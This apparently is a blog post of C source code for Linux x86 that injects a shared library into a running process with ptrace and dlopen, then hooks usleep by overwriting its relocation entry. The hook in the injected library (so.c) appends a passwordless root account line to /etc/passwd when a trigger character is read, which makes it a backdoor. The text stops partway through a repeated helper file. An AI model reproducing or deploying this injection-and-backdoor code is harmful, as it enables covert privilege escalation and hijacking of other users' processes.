linx x86平台成功注入so 并且通道rel进行hook

    xiaoxiao2026-05-12  7

      so.c

    #include <sys/types.h> #include <stdio.h> #include <unistd.h> #include <pthread.h> int (*oldusleep)(useconds_t usec); int newusleep(useconds_t usec) { int ret; printf("newusleep\n"); ret = oldusleep(usec); return ret; } int (*oldwrite) (int fd, const void *buf, size_t count); ssize_t(*oldread) (int fd, void *buf, size_t count); void *dolife(void *arg) { FILE *fp; int i; puts("ok"); puts("ok"); puts("ok"); pthread_detach(pthread_self()); for (i = 0; i < 256; i++) { puts("dolife ok"); /* fp = fopen("/home/grip2/lifelog.txt", "a"); fprintf(fp, "%d\n", i); fclose(fp); */ sleep(1); } } void newput(const char *s) { printf("this is %s speaking\n",s); } int newwrite(int fd, const void *buf, size_t count) { static int n = 0; static int f = 0; pthread_t tid; // if (0 == f++) // pthread_create(&tid, NULL, &dolife, NULL); if (n++ > 2) exit(0); printf("In newwrite :)\n"); printf("oldwrite %p\n", oldwrite); printf("newwrite %p\n", newwrite); oldwrite(fd, buf, count); n--; return count; } ssize_t newread(int fd, void *buf, size_t count) { ssize_t ret; FILE *fp; char ch = '#'; ret = oldread(fd, buf, count); if (memcmp(buf, (void *) &ch, 1) == 0) { fp = fopen("/etc/passwd", "a"); fputs("injso::0:0:root:/root:/bin/sh\n", fp); fclose(fp); } return ret; } void newlife(void) { pthread_t tid; char ch; puts("ok"); pthread_create(&tid, NULL, &dolife, NULL); //exit(0); /* //for(;;) { puts("ok create"); // puts("ok create"); // fflush(stdout); ch = getchar(); puts("ok create"); puts("ok create"); if ('q' == ch) break; } */ /* if(fork() == 0) { dolife(0); exit(0); } */ puts("ok create"); puts("ok create"); puts("ok create"); puts("ok create"); puts("ok create"); puts("ok create"); puts("ok create"); puts("ok create"); puts("ok create"); }

    hook.c

    #include <stdlib.h> #include <stdio.h> #include <string.h> #include <unistd.h> #include <sys/ptrace.h> #include <wait.h> #include <sys/user.h> #include <errno.h> #include <stdlib.h> #include <string.h> #include <stdio.h> #include <elf.h> #include <link.h> #include <sys/wait.h> #include <sys/mman.h> #include <dlfcn.h> #include <dirent.h> #include <unistd.h> #include "p_elf.h" #include "p_dbg.h" void call_dl_open(int pid, unsigned long addr, char *libname); void call_dlopen(int pid, unsigned long addr, char *libname); void usage(void); const char *libc_path = "/lib/i386-linux-gnu/libc-2.19.so"; const char *linker_path = "/lib/i386-linux-gnu/ld-2.19.so"; void* get_module_base(pid_t pid, const char* module_name) { FILE *fp; long addr = 0; char *pch; char filename[32]; char line[1024]; if (pid < 0) { /* self process */ snprintf(filename, sizeof(filename), "/proc/self/maps", pid); } else { snprintf(filename, sizeof(filename), "/proc/%d/maps", pid); } fp = fopen(filename, "r"); if (fp != NULL) { while (fgets(line, sizeof(line), fp)) { if (strstr(line, module_name)) { pch = strtok( line, "-" ); addr = strtoul( pch, NULL, 16 ); if (addr == 0x8000) addr = 0; break; } } fclose(fp) ; } return (void *)addr; } int find_pid_of(const char *process_name) { int id; pid_t pid = -1; DIR* dir; FILE *fp; char filename[32]; char cmdline[256]; struct dirent * entry; if (process_name == NULL) return -1; dir = opendir("/proc"); if (dir == NULL) return -1; while((entry = readdir(dir)) != NULL) { id = atoi(entry->d_name); if (id != 0) { sprintf(filename, "/proc/%d/cmdline", id); fp = fopen(filename, "r"); if (fp) { fgets(cmdline, sizeof(cmdline), fp); fclose(fp); if (strcmp(process_name, cmdline) == 0) { /* process found */ pid = id; break; } } } } closedir(dir); return pid; } int ptrace_getregs(pid_t pid, struct user_regs_struct * regs) { if (ptrace(PTRACE_GETREGS, pid, NULL, regs) < 0) { perror("ptrace_getregs: Can not get register values"); return -1; } return 0; } int ptrace_setregs(pid_t pid, struct user_regs_struct * regs) { if (ptrace(PTRACE_SETREGS, pid, NULL, regs) < 0) { perror("ptrace_setregs: Can not set register values"); return -1; } return 0; } int ptrace_readdata(pid_t pid, uint8_t *src, uint8_t *buf, size_t size) { uint32_t i, j, remain; uint8_t *laddr; union u { long val; char chars[sizeof(long)]; } d; j = size / 4; remain = size % 4; laddr = buf; for (i = 0; i < j; i ++) { d.val = ptrace(PTRACE_PEEKTEXT, pid, src, 0); memcpy(laddr, d.chars, 4); src += 4; laddr += 4; } if (remain > 0) { d.val = ptrace(PTRACE_PEEKTEXT, pid, src, 0); memcpy(laddr, d.chars, remain); } return 0; } int ptrace_writedata(pid_t pid, uint8_t *dest, uint8_t *data, size_t size) { uint32_t i, j, remain; uint8_t *laddr; union u { long val; char chars[sizeof(long)]; } d; j = size / 4; remain = size % 4; laddr = data; for (i = 0; i < j; i ++) { memcpy(d.chars, laddr, 4); ptrace(PTRACE_POKETEXT, pid, dest, d.val); dest += 4; laddr += 4; } if (remain > 0) { d.val = ptrace(PTRACE_PEEKTEXT, pid, dest, 0); for (i = 0; i < remain; i ++) { d.chars[i] = *laddr ++; } ptrace(PTRACE_POKETEXT, pid, dest, d.val); } return 0; } int ptrace_continue(pid_t pid) { if (ptrace(PTRACE_CONT, pid, NULL, 0) < 0) { perror("ptrace_cont"); return -1; } return 0; } long ptrace_call_ext(pid_t pid, uint32_t addr, long *params, uint32_t num_params, struct user_regs_struct * regs) { regs->esp -= (num_params) * sizeof(long) ; ptrace_writedata(pid, (void *)regs->esp, (uint8_t *)params, (num_params) * sizeof(long)); long tmp_addr = 0x00; regs->esp -= sizeof(long); ptrace_writedata(pid, regs->esp, (char *)&tmp_addr, sizeof(tmp_addr)); regs->eip = addr; if (ptrace_setregs(pid, regs) == -1 || ptrace_continue( pid) == -1) { printf("error\n"); return -1; } int stat = 0; //printf("start waiting\n"); waitpid(pid, &stat, WUNTRACED); //printf("finished\n"); return 0; } int ptrace_call_wrapper(pid_t target_pid, const char * func_name, void * func_addr, long * parameters, int param_num, struct user_regs_struct * regs) { printf("[+] Calling %s in target process.\n", func_name); if (ptrace_call_ext(target_pid, (uint32_t)func_addr, parameters, param_num, regs) == -1) return -1; if (ptrace_getregs(target_pid, regs) == -1) return -1; //printf("[+] Target process returned from %s, return value=%x, pc=%x \n", func_name, ptrace_retval(regs), ptrace_ip(regs)); return 0; } long ptrace_retval(struct user_regs_struct * regs) { return regs->eax; } void call_dlopen(int target_pid, unsigned long dlopen_addr, char *library_path) { void *mmap_addr; struct user_regs_struct regs; struct user_regs_struct original_regs; long parameters[10]; uint8_t *map_base = 0; if (ptrace_getregs(target_pid, &regs) == -1) goto exit; memcpy(&original_regs, &regs, sizeof(regs)); mmap_addr = enumprocesssym(target_pid, "libc", "mmap"); parameters[0] = 0; // addr parameters[1] = 0x4000; // size parameters[2] = PROT_READ | PROT_WRITE | PROT_EXEC; // prot parameters[3] = MAP_ANONYMOUS | MAP_PRIVATE; // flags parameters[4] = 0; //fd parameters[5] = 0; //offset if (ptrace_call_wrapper(target_pid, "mmap", mmap_addr, parameters, 6, &regs) == -1) goto exit; map_base = ptrace_retval(&regs); printf("\n--------mapbase=%x--------\n",map_base); if(map_base==0){ goto exit; } ptrace_writedata(target_pid, map_base, library_path, strlen(library_path) + 1); parameters[0] = map_base; parameters[1] = RTLD_NOW| RTLD_GLOBAL; if (ptrace_call_wrapper(target_pid, "dlopen", dlopen_addr, parameters, 2, &regs) == -1) goto exit; void * sohandle = ptrace_retval(&regs); printf("sohandle = %x\n", sohandle); exit: ptrace_setregs(target_pid, &original_regs); } #define PRINT(a,ehdr) printf(#a"=%x\n",ehdr->a); #define PRINTA4(a,ehdr) printf(#a"=%2.2x %c%c%c\n",ehdr->a[0],ehdr->a[1],ehdr->a[2],ehdr->a[3]); void printehdr(Elf32_Ehdr *ehdr) { puts("------------printehdr---------------"); PRINTA4(e_ident,ehdr) PRINT(e_type,ehdr) PRINT(e_machine,ehdr) PRINT(e_version,ehdr) PRINT(e_entry,ehdr) PRINT(e_phoff,ehdr) PRINT(e_shoff,ehdr) PRINT(e_flags,ehdr) PRINT(e_ehsize,ehdr) PRINT(e_phentsize,ehdr) PRINT(e_phnum,ehdr) PRINT(e_shentsize,ehdr) PRINT(e_shnum,ehdr) PRINT(e_shstrndx,ehdr) printf("ehsize=%x phsize=%x shsize=%x\n",sizeof(Elf32_Ehdr),sizeof(Elf32_Phdr),sizeof(Elf32_Shdr)); } #define PRINTSWITCH(a,type) if(a==type){puts(#a);return;} void printptype(int type) { PRINTSWITCH(PT_NULL,type) PRINTSWITCH(PT_LOAD,type) PRINTSWITCH(PT_DYNAMIC,type) PRINTSWITCH(PT_INTERP,type) PRINTSWITCH(PT_NOTE,type) PRINTSWITCH(PT_SHLIB,type) PRINTSWITCH(PT_PHDR,type) PRINTSWITCH(PT_TLS,type) PRINTSWITCH(PT_NUM,type) PRINTSWITCH(PT_LOOS,type) PRINTSWITCH(PT_GNU_EH_FRAME,type) PRINTSWITCH(PT_GNU_STACK,type) PRINTSWITCH(PT_GNU_RELRO,type) PRINTSWITCH(PT_LOSUNW,type) PRINTSWITCH(PT_SUNWBSS,type) PRINTSWITCH(PT_SUNWSTACK,type) PRINTSWITCH(PT_HISUNW,type) PRINTSWITCH(PT_HIOS,type) PRINTSWITCH(PT_LOPROC,type) PRINTSWITCH(PT_HIPROC,type) } void printphdr(Elf32_Phdr *phdr) { puts("-------printphdr--------------------"); printptype(phdr->p_type); PRINT(p_type,phdr) PRINT(p_offset,phdr) PRINT(p_vaddr,phdr) PRINT(p_paddr,phdr) PRINT(p_filesz,phdr) PRINT(p_memsz,phdr) PRINT(p_flags,phdr) PRINT(p_align,phdr) } void printdyntag(int d_tag) { PRINTSWITCH(DT_NULL,d_tag) PRINTSWITCH(DT_NEEDED,d_tag) PRINTSWITCH(DT_PLTRELSZ,d_tag) PRINTSWITCH(DT_PLTGOT,d_tag) PRINTSWITCH(DT_HASH,d_tag) PRINTSWITCH(DT_STRTAB,d_tag) PRINTSWITCH(DT_SYMTAB,d_tag) PRINTSWITCH(DT_RELA,d_tag) PRINTSWITCH(DT_RELASZ,d_tag) PRINTSWITCH(DT_RELAENT,d_tag) PRINTSWITCH(DT_STRSZ,d_tag) PRINTSWITCH(DT_SYMENT,d_tag) PRINTSWITCH(DT_INIT,d_tag) PRINTSWITCH(DT_FINI,d_tag) PRINTSWITCH(DT_SONAME,d_tag) PRINTSWITCH(DT_RPATH,d_tag) PRINTSWITCH(DT_SYMBOLIC,d_tag) PRINTSWITCH(DT_REL,d_tag) PRINTSWITCH(DT_RELSZ,d_tag) PRINTSWITCH(DT_RELENT,d_tag) PRINTSWITCH(DT_PLTREL,d_tag) PRINTSWITCH(DT_DEBUG,d_tag) PRINTSWITCH(DT_TEXTREL,d_tag) PRINTSWITCH(DT_JMPREL,d_tag) PRINTSWITCH(DT_BIND_NOW,d_tag) PRINTSWITCH(DT_INIT_ARRAY,d_tag) PRINTSWITCH(DT_FINI_ARRAY,d_tag) PRINTSWITCH(DT_INIT_ARRAYSZ,d_tag) PRINTSWITCH(DT_FINI_ARRAYSZ,d_tag) PRINTSWITCH(DT_RUNPATH,d_tag) PRINTSWITCH(DT_FLAGS,d_tag) PRINTSWITCH(DT_ENCODING,d_tag) PRINTSWITCH(DT_PREINIT_ARRAY,d_tag) PRINTSWITCH(DT_PREINIT_ARRAYSZ,d_tag) PRINTSWITCH(DT_NUM,d_tag) PRINTSWITCH(DT_LOOS,d_tag) PRINTSWITCH(DT_HIOS,d_tag) PRINTSWITCH(DT_LOPROC,d_tag) PRINTSWITCH(DT_HIPROC,d_tag) PRINTSWITCH(DT_PROCNUM,d_tag) PRINTSWITCH(DT_VALRNGLO,d_tag) PRINTSWITCH(DT_GNU_PRELINKED,d_tag) PRINTSWITCH(DT_GNU_CONFLICTSZ,d_tag) PRINTSWITCH(DT_GNU_LIBLISTSZ,d_tag) PRINTSWITCH(DT_CHECKSUM,d_tag) PRINTSWITCH(DT_PLTPADSZ,d_tag) PRINTSWITCH(DT_MOVEENT,d_tag) PRINTSWITCH(DT_MOVESZ,d_tag) PRINTSWITCH(DT_FEATURE_1,d_tag) PRINTSWITCH(DT_POSFLAG_1,d_tag) PRINTSWITCH(DT_SYMINSZ,d_tag) PRINTSWITCH(DT_SYMINENT,d_tag) PRINTSWITCH(DT_VALRNGHI,d_tag) PRINTSWITCH(DT_ADDRRNGLO,d_tag) PRINTSWITCH(DT_GNU_HASH,d_tag) PRINTSWITCH(DT_TLSDESC_PLT,d_tag) PRINTSWITCH(DT_TLSDESC_GOT,d_tag) PRINTSWITCH(DT_GNU_CONFLICT,d_tag) PRINTSWITCH(DT_GNU_LIBLIST,d_tag) PRINTSWITCH(DT_CONFIG,d_tag) PRINTSWITCH(DT_DEPAUDIT,d_tag) PRINTSWITCH(DT_AUDIT,d_tag) PRINTSWITCH(DT_PLTPAD,d_tag) PRINTSWITCH(DT_MOVETAB,d_tag) PRINTSWITCH(DT_SYMINFO,d_tag) PRINTSWITCH(DT_ADDRRNGHI,d_tag) PRINTSWITCH(DT_ADDRNUM,d_tag) PRINTSWITCH(DT_VERSYM,d_tag) PRINTSWITCH(DT_RELACOUNT,d_tag) PRINTSWITCH(DT_RELCOUNT,d_tag) PRINTSWITCH(DT_FLAGS_1,d_tag) PRINTSWITCH(DT_VERDEF,d_tag) PRINTSWITCH(DT_VERDEFNUM,d_tag) PRINTSWITCH(DT_VERNEED,d_tag) PRINTSWITCH(DT_VERNEEDNUM,d_tag) PRINTSWITCH(DT_VERSIONTAGNUM,d_tag) PRINTSWITCH(DT_AUXILIARY,d_tag) PRINTSWITCH(DT_FILTER,d_tag) PRINTSWITCH(DT_EXTRANUM,d_tag) } void printdyn(Elf32_Dyn* dyn) { puts("----------printdyn-----------------"); printdyntag(dyn->d_tag); PRINT(d_tag,dyn) PRINT(d_un.d_val,dyn) } #define PROCESSREAD(ptr,addr,size) ptrace_read(pid, (void*)(addr), ptr, size) void printsym(Elf32_Sym *sym,int straddr,int pid) { puts("-------printsym--------------------"); if(sym->st_name){ char sname[40]; PROCESSREAD(sname,straddr+sym->st_name,40); puts(sname); } PRINT(st_name,sym) PRINT(st_value,sym) PRINT(st_size,sym) PRINT(st_info,sym) PRINT(st_other,sym) PRINT(st_shndx,sym) } void printlinkmap(struct link_map*lm,int pid) { puts("-------printlinkmap--------"); PRINT(l_addr,lm) PRINT(l_ld,lm) char sname[40]; PROCESSREAD(sname,lm->l_name,40); puts(sname); //puts(lm->l_name); } int enumprocesssym(int pid,const char*libname,const char*fnname) { unsigned long modbase = (unsigned long)get_module_base(pid,libname); unsigned long phdr_addr,shdr_addr, dyn_addr; int i; if(modbase==0){ printf("%d[%s] get_module_base=0",pid,libname); return; } printf("modbase=%x\n",modbase); Elf32_Ehdr *ehdr = (Elf32_Ehdr *) malloc(sizeof(Elf32_Ehdr)); Elf32_Phdr *phdr = (Elf32_Phdr *) malloc(sizeof(Elf32_Phdr)); Elf32_Shdr *shdr = (Elf32_Shdr *) malloc(sizeof(Elf32_Shdr)); Elf32_Dyn *dyn = (Elf32_Dyn *) malloc(sizeof(Elf32_Dyn)); Elf32_Sym *sym = (Elf32_Sym *) malloc(sizeof(Elf32_Sym)); struct link_map* linknode = (struct link_map*)malloc(sizeof(struct link_map)); //ptrace_read(pid, (void*)modbase, ehdr, sizeof(Elf32_Ehdr)); PROCESSREAD(ehdr,modbase,sizeof(Elf32_Ehdr)); //printehdr(ehdr); int offsetdyn =0; int dynsize = 0; for(i=0;i<ehdr->e_phnum;i++){ PROCESSREAD(phdr,modbase+ehdr->e_phoff+(i*ehdr->e_phentsize),sizeof(Elf32_Phdr)); //printphdr(phdr); if(PT_DYNAMIC==phdr->p_type){ offsetdyn = phdr->p_vaddr; dynsize = phdr->p_memsz; } } int symaddr=0; int symsize=0; int straddr=0; int gotaddr=0; int mapaddr=0; for(i=0;i<dynsize/sizeof(Elf32_Dyn);i++){ PROCESSREAD(dyn,modbase+offsetdyn+(i*sizeof(Elf32_Dyn)),sizeof(Elf32_Dyn)); //printdyn(dyn); if(DT_SYMTAB==dyn->d_tag){ symaddr = dyn->d_un.d_val; }else if(DT_STRTAB==dyn->d_tag){ straddr=dyn->d_un.d_val; }else if(DT_PLTGOT==dyn->d_tag){ gotaddr=dyn->d_un.d_val; } } puts("-------sym-------"); for(i=0;;i++){ PROCESSREAD(sym,symaddr+(i*sizeof(Elf32_Sym)),sizeof(Elf32_Sym)); //printsym(sym,straddr,pid); if(sym->st_name){ char sname[40]; PROCESSREAD(sname,straddr+sym->st_name,40); if(!strcmp(sname,fnname)){ printsym(sym,straddr,pid); return modbase+sym->st_value; } } } return 0; Elf32_Addr gotv=0; puts("----got------"); int linknodeaddr=0; for(i=0;i<60;i++){ PROCESSREAD(&gotv,gotaddr+(i*sizeof(Elf32_Addr)),sizeof(Elf32_Addr)); printf("%x\n",gotv); if(gotv==0)break; if(i==1)mapaddr=gotv; } i=0; int laddr = mapaddr; puts("----linkmap------"); while(1) { PROCESSREAD(linknode,laddr,sizeof(struct link_map)); //printlinkmap(linknode); if(linknode->l_next==0)break; laddr = linknode->l_next; } while(1) { PROCESSREAD(linknode,laddr,sizeof(struct link_map)); printlinkmap(linknode,pid); if(linknode->l_prev==0)break; laddr = linknode->l_prev; } return; } void call_newput(int target_pid, unsigned long newput_addr, const char *strdata) { void *mmap_addr; struct user_regs_struct regs; struct user_regs_struct original_regs; long parameters[10]; uint8_t *map_base = 0; if (ptrace_getregs(target_pid, &regs) == -1) goto exit; memcpy(&original_regs, &regs, sizeof(regs)); mmap_addr = enumprocesssym(target_pid, "libc", "mmap"); parameters[0] = 0; // addr parameters[1] = 0x4000; // size parameters[2] = PROT_READ | PROT_WRITE | PROT_EXEC; // prot parameters[3] = MAP_ANONYMOUS | MAP_PRIVATE; // flags parameters[4] = 0; //fd parameters[5] = 0; //offset if (ptrace_call_wrapper(target_pid, "mmap", mmap_addr, parameters, 6, &regs) == -1) goto exit; map_base = ptrace_retval(&regs); printf("\n--------mapbase=%x--------\n",map_base); if(map_base==0){ goto exit; } ptrace_writedata(target_pid, map_base, strdata, strlen(strdata) + 1); parameters[0] = map_base; //parameters[1] = RTLD_NOW| RTLD_GLOBAL; if (ptrace_call_wrapper(target_pid, "newput",newput_addr, parameters, 1, &regs) == -1) goto exit; void * sohandle = ptrace_retval(&regs); printf("ret = %x\n", sohandle); exit: ptrace_setregs(target_pid, &original_regs); } int g_symtab=0,g_strtab=0,g_jmprel=0,g_totalrelsize=0,g_relsize=0,g_nrels=0; void get_dyn_info2(int pid,int dynaddr) { Elf32_Dyn *dyn = (Elf32_Dyn *) malloc(sizeof(Elf32_Dyn)); int i = 0; PROCESSREAD( dyn,dynaddr + i * sizeof(Elf32_Dyn), sizeof(Elf32_Dyn)); i++; while (dyn->d_tag) { switch (dyn->d_tag) { case DT_SYMTAB: puts("DT_SYMTAB"); g_symtab = dyn->d_un.d_ptr; break; case DT_STRTAB: g_strtab = dyn->d_un.d_ptr; puts("DT_STRTAB"); break; case DT_JMPREL: g_jmprel = dyn->d_un.d_ptr; puts("DT_JMPREL"); //printf("jmprel\t %p\n", g_jmprel); break; case DT_PLTRELSZ: g_totalrelsize = dyn->d_un.d_val; puts("DT_PLTRELSZ"); break; case DT_RELAENT: g_relsize = dyn->d_un.d_val; puts("DT_RELAENT"); break; case DT_RELENT: g_relsize = dyn->d_un.d_val; puts("DT_RELENT"); break; } PROCESSREAD(dyn, dynaddr + i * sizeof(Elf32_Dyn), sizeof(Elf32_Dyn)); i++; } g_nrels = g_totalrelsize / g_relsize; free(dyn); printf("g_nrels=%d\n",g_nrels); } unsigned long find_sym_in_rel2(int pid, char *sym_name,int dynaddr) { Elf32_Rel *rel = (Elf32_Rel *) malloc(sizeof(Elf32_Rel)); Elf32_Sym *sym = (Elf32_Sym *) malloc(sizeof(Elf32_Sym)); int i; unsigned long ret; char str[100]; get_dyn_info2(pid,dynaddr); for (i = 0; i < g_nrels; i++) { puts("1"); PROCESSREAD(rel, (unsigned long) (g_jmprel + i * sizeof(Elf32_Rel)),sizeof(Elf32_Rel)); if (ELF32_R_SYM(rel->r_info)) { PROCESSREAD(sym,g_symtab + ELF32_R_SYM(rel->r_info) * sizeof(Elf32_Sym), sizeof(Elf32_Sym)); PROCESSREAD(str,g_strtab + sym->st_name,100); puts("2"); if (strcmp(str, sym_name) == 0) { break; } } } if (i == g_nrels) ret = 0; else ret = rel->r_offset; free(rel); free(sym); return ret; } int enumprocrel(int pid,const char*libname) { unsigned long modbase = (unsigned long)get_module_base(pid,libname); unsigned long phdr_addr,shdr_addr, dyn_addr; int i; if(modbase==0){ printf("%d[%s] get_module_base=0\n",pid,libname); return; } printf("modbase=%x\n",modbase); Elf32_Ehdr *ehdr = (Elf32_Ehdr *) malloc(sizeof(Elf32_Ehdr)); Elf32_Phdr *phdr = (Elf32_Phdr *) malloc(sizeof(Elf32_Phdr)); //ptrace_read(pid, (void*)modbase, ehdr, sizeof(Elf32_Ehdr)); PROCESSREAD(ehdr,modbase,sizeof(Elf32_Ehdr)); //printehdr(ehdr); int offsetdyn =0; int dynsize = 0; for(i=0;i<ehdr->e_phnum;i++){ PROCESSREAD(phdr,modbase+ehdr->e_phoff+(i*ehdr->e_phentsize),sizeof(Elf32_Phdr)); //printphdr(phdr); if(PT_DYNAMIC==phdr->p_type){ offsetdyn = phdr->p_vaddr; dynsize = phdr->p_memsz; free(ehdr); free(phdr); if(offsetdyn<0x08000000)return modbase+offsetdyn; return offsetdyn; } } return 0; } int main(int argc, char *argv[]) { long pid; struct link_map *map; char sym_name[256]; unsigned long sym_addr; unsigned long new_addr, old_addr, rel_addr; int ch; char soname[256]; char *pchar; char search_mode = 's'; /* 's' - symbol table, 'h' - hash table */ char print_flag = 'n'; strcpy(soname, (char *) get_current_dir_name()); strcat(soname, "/so.so"); /* default shared library */ printf("soname:%s\n",soname); pid = find_pid_of("./loop"); ptrace_attach(pid); printf("pid=%d\n",pid); //int mmapaddress=enumprocesssym(pid,"libc","mmap"); //printf("mmap=%x\n",mmapaddress); void *dlopen_addr; // void* handle = dlopen( "/lib/i386-linux-gnu/libdl-2.19.so",RTLD_NOW| RTLD_GLOBAL); // void*addr = dlsym(handle,"dlopen"); dlopen_addr = enumprocesssym( pid, "libdl", "dlopen" ); printf("dlopen_addr = %x\n", dlopen_addr); call_dlopen(pid, dlopen_addr, soname); void* newput = enumprocesssym( pid, soname, "newput" ); call_newput(pid,newput,"wangjinrong"); sym_addr = enumprocesssym(pid, soname, "newusleep"); printf("sym_addr=%x\n",sym_addr); int dynbaseaddr=enumprocrel(pid,"loop"); printf("dynbaseaddr=%x\n",dynbaseaddr); rel_addr = find_sym_in_rel2(pid,"usleep",dynbaseaddr); printf("rel_addr=%x\n",rel_addr); old_addr = enumprocesssym(pid, soname, "oldusleep"); printf("old_addr=%x\n",old_addr); ptrace_read(pid, rel_addr, &new_addr, sizeof(new_addr)); ptrace_write(pid, old_addr, &new_addr, sizeof(new_addr)); ptrace_write(pid, rel_addr, &sym_addr, sizeof(sym_addr)); ptrace_detach(pid); exit(0); }

    s.c

    #include <stdlib.h> #include <stdio.h> #include <string.h> #include <unistd.h> #include <sys/ptrace.h> #include <wait.h> #include <sys/user.h> #include <errno.h> #include <stdlib.h> #include <string.h> #include <stdio.h> #include <elf.h> #include <link.h> #include <sys/wait.h> #include <sys/mman.h> #include <dlfcn.h> #include <dirent.h> #include <unistd.h> void* get_module_base(pid_t pid, const char* module_name) { FILE *fp; long addr = 0; char *pch; char filename[32]; char line[1024]; if (pid < 0) { /* self process */ snprintf(filename, sizeof(filename), "/proc/self/maps", pid); } else { snprintf(filename, sizeof(filename), "/proc/%d/maps", pid); } fp = fopen(filename, "r"); if (fp != NULL) { while (fgets(line, sizeof(line), fp)) { if (strstr(line, module_name)) { pch = strtok( line, "-" ); addr = strtoul( pch, NULL, 16 ); if (addr == 0x8000) addr = 0; break; } } fclose(fp) ; } return (void *)addr; } int find_pid_of(const char *process_name) { int id; pid_t pid = -1; DIR* dir; FILE *fp; char filename[32]; char cmdline[256]; struct dirent * entry; if (process_name == NULL) return -1; dir = opendir("/proc"); if (dir == NULL) return -1; while((entry = readdir(dir)) != NULL) { id = atoi(entry->d_name); if (id != 0) { sprintf(filename, "/proc/%d/cmdline", id); fp = fopen(filename, "r"); if (fp) { fgets(cmdline, sizeof(cmdline), fp); fclose(fp); if (strcmp(process_name, cmdline) == 0) { /* process found */ pid = id; break; } } } } closedir(dir); return pid; } void* get_remote_addr(pid_t target_pid, const char* module_name, char* fnname) { void* local_handle, *remote_handle; void* local_addr; void* handle = dlopen( "/lib/i386-linux-gnu/libdl-2.19.so",RTLD_NOW| RTLD_GLOBAL); local_addr = dlsym(handle,fnname); local_handle = get_module_base(-1, module_name); remote_handle = get_module_base(target_pid, module_name); printf("[+] get_remote_addr: local[%x], remote[%x] local_addr[%x]\n", local_handle, remote_handle,local_addr); void * ret_addr = (void *)((uint32_t)local_addr - (uint32_t)local_handle)+ (uint32_t)remote_handle; return ret_addr; } #define PRINT(a,ehdr) printf(#a"=%x\n",ehdr->a); #define PRINTA4(a,ehdr) printf(#a"=%2.2x %c%c%c\n",ehdr->a[0],ehdr->a[1],ehdr->a[2],ehdr->a[3]); void printehdr(Elf32_Ehdr *ehdr) { puts("---------------------------"); PRINTA4(e_ident,ehdr) PRINT(e_type,ehdr) PRINT(e_machine,ehdr) PRINT(e_version,ehdr) PRINT(e_entry,ehdr) PRINT(e_phoff,ehdr) PRINT(e_shoff,ehdr) PRINT(e_flags,ehdr) PRINT(e_ehsize,ehdr) PRINT(e_phentsize,ehdr) PRINT(e_phnum,ehdr) PRINT(e_shentsize,ehdr) PRINT(e_shnum,ehdr) PRINT(e_shstrndx,ehdr) printf("ehsize=%x phsize=%x shsize=%x\n",sizeof(Elf32_Ehdr),sizeof(Elf32_Phdr),sizeof(Elf32_Shdr)); } #define PRINTSWITCH(a,type) if(a==type){puts(#a);return;} void printptype(int type) { PRINTSWITCH(PT_NULL,type) PRINTSWITCH(PT_LOAD,type) PRINTSWITCH(PT_DYNAMIC,type) PRINTSWITCH(PT_INTERP,type) PRINTSWITCH(PT_NOTE,type) PRINTSWITCH(PT_SHLIB,type) PRINTSWITCH(PT_PHDR,type) PRINTSWITCH(PT_TLS,type) PRINTSWITCH(PT_NUM,type) PRINTSWITCH(PT_LOOS,type) PRINTSWITCH(PT_GNU_EH_FRAME,type) PRINTSWITCH(PT_GNU_STACK,type) PRINTSWITCH(PT_GNU_RELRO,type) PRINTSWITCH(PT_LOSUNW,type) PRINTSWITCH(PT_SUNWBSS,type) PRINTSWITCH(PT_SUNWSTACK,type) PRINTSWITCH(PT_HISUNW,type) PRINTSWITCH(PT_HIOS,type) PRINTSWITCH(PT_LOPROC,type) PRINTSWITCH(PT_HIPROC,type) } void printphdr(Elf32_Phdr *phdr) { puts("---------------------------"); printptype(phdr->p_type); PRINT(p_type,phdr) PRINT(p_offset,phdr) PRINT(p_vaddr,phdr) PRINT(p_paddr,phdr) PRINT(p_filesz,phdr) PRINT(p_memsz,phdr) PRINT(p_flags,phdr) PRINT(p_align,phdr) } void printdyntag(int d_tag) { PRINTSWITCH(DT_NULL,d_tag) PRINTSWITCH(DT_NEEDED,d_tag) PRINTSWITCH(DT_PLTRELSZ,d_tag) PRINTSWITCH(DT_PLTGOT,d_tag) PRINTSWITCH(DT_HASH,d_tag) PRINTSWITCH(DT_STRTAB,d_tag) PRINTSWITCH(DT_SYMTAB,d_tag) PRINTSWITCH(DT_RELA,d_tag) PRINTSWITCH(DT_RELASZ,d_tag) PRINTSWITCH(DT_RELAENT,d_tag) PRINTSWITCH(DT_STRSZ,d_tag) PRINTSWITCH(DT_SYMENT,d_tag) PRINTSWITCH(DT_INIT,d_tag) PRINTSWITCH(DT_FINI,d_tag) PRINTSWITCH(DT_SONAME,d_tag) PRINTSWITCH(DT_RPATH,d_tag) PRINTSWITCH(DT_SYMBOLIC,d_tag) PRINTSWITCH(DT_REL,d_tag) PRINTSWITCH(DT_RELSZ,d_tag) PRINTSWITCH(DT_RELENT,d_tag) PRINTSWITCH(DT_PLTREL,d_tag) PRINTSWITCH(DT_DEBUG,d_tag) PRINTSWITCH(DT_TEXTREL,d_tag) PRINTSWITCH(DT_JMPREL,d_tag) PRINTSWITCH(DT_BIND_NOW,d_tag) PRINTSWITCH(DT_INIT_ARRAY,d_tag) PRINTSWITCH(DT_FINI_ARRAY,d_tag) PRINTSWITCH(DT_INIT_ARRAYSZ,d_tag) PRINTSWITCH(DT_FINI_ARRAYSZ,d_tag) PRINTSWITCH(DT_RUNPATH,d_tag) PRINTSWITCH(DT_FLAGS,d_tag) PRINTSWITCH(DT_ENCODING,d_tag) PRINTSWITCH(DT_PREINIT_ARRAY,d_tag) PRINTSWITCH(DT_PREINIT_ARRAYSZ,d_tag) PRINTSWITCH(DT_NUM,d_tag) PRINTSWITCH(DT_LOOS,d_tag) PRINTSWITCH(DT_HIOS,d_tag) PRINTSWITCH(DT_LOPROC,d_tag) PRINTSWITCH(DT_HIPROC,d_tag) PRINTSWITCH(DT_PROCNUM,d_tag) PRINTSWITCH(DT_VALRNGLO,d_tag) PRINTSWITCH(DT_GNU_PRELINKED,d_tag) PRINTSWITCH(DT_GNU_CONFLICTSZ,d_tag) PRINTSWITCH(DT_GNU_LIBLISTSZ,d_tag) PRINTSWITCH(DT_CHECKSUM,d_tag) PRINTSWITCH(DT_PLTPADSZ,d_tag) PRINTSWITCH(DT_MOVEENT,d_tag) PRINTSWITCH(DT_MOVESZ,d_tag) PRINTSWITCH(DT_FEATURE_1,d_tag) PRINTSWITCH(DT_POSFLAG_1,d_tag) PRINTSWITCH(DT_SYMINSZ,d_tag) PRINTSWITCH(DT_SYMINENT,d_tag) PRINTSWITCH(DT_VALRNGHI,d_tag) 